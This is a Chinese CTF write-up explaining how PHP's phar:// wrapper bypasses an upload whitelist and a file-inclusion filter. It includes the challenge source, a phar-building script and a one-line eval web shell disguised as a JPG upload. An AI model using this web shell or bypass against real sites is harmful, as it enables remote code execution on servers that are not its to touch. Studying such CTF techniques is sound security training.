CTF-phar为协议分析

admin 2024年9月12日00:11:04评论23 views字数 2024阅读6分44秒阅读模式
 

    今天下午做了一道题,借此具体说一下phar协议的知识点。
题目主要分为两个文件
include.php

<html>Tips: the parameter is file! :) <!-- upload.php --></html><?php    @$file = $_GET["file"];    if(isset($file))    {        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)        {            echo "<p> error! </p>";        }        else        {            include($file.'.php');        }    }?>

    upload.php

<form action="" enctype="multipart/form-data" method="post" name="upload">file:<input type="file" name="file" /><br> <input type="submit" value="upload" /></form><?phpif(!empty($_FILES["file"])){    echo $_FILES["file"];    $allowedExts = array("gif", "jpeg", "jpg", "png");    @$temp = explode(".", $_FILES["file"]["name"]);    $extension = end($temp);    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))    {        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];    }    else    {        echo "upload failed!";    }}?>

通过代码可以看到,对于文件上传的限制是非常严格的,同时在include.php中也做了文件名的限制,只允许包含php文件,但是我们只能上传图片格式。所以这里可以联想到phar的文件压缩。

新建一个文件夹,然后在里面创建两个php文件,其中一个文件里面写入一句话木马,另外一个则用来生成phar文件
1.php

<?php$phar=new Phar('my2.phar');$phar->buildFromDirectory(__DIR__,'/index.php/');$phar->compressFiles(Phar::GZ);$phar->stopBuffering();$phar->setStub($phar->createDefaultStub('index.php'));?>

index.php

<?php eval($_POST['shell']);?>

运行后会生成一个my2.phar文件,给改为jpg格式,然后进行上传。

CTF-phar为协议分析

使用phar://upload/my2.jpg/index来触发压缩的index.php里面的一句话木马,然后获取flag。

CTF-phar为协议分析

原理分析
Phar协议为PHP内置对象,可以直接实例化引用。
Phar文件是一个文件的集合文件,或者称之为压缩文件也可以。
在这道题目中通过buildFromDirectory函数来调用当前目录下的index.php构建phar文档。
之后通过compressFiles函数进行phar文件的压缩,其中的Phar::GZ为压缩类型,目前默认支持的压缩类型为Phar::GZ、Phar::BZ2。
最后通过setStub来设置通过createDefaultStub创建的phar存根,phar文件在触发时会通过存根文件开始运行。
如下
我们有两个文件,单独放置在cc目录下

CTF-phar为协议分析

CTF-phar为协议分析

通过指定存根文件为index.php,来生成phar文件,此处需要理解phar文件是一个文件压缩的集合。

CTF-phar为协议分析

当我们包含这个phar文件时,就会通过存根文件触发ss.php里面的代码。

CTF-phar为协议分析

 

原文始发于微信公众号(白帽子社区团队):CTF-phar为协议分析(文末转发奖励)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月12日00:11:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF-phar为协议分析https://cn-sec.com/archives/3153265.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息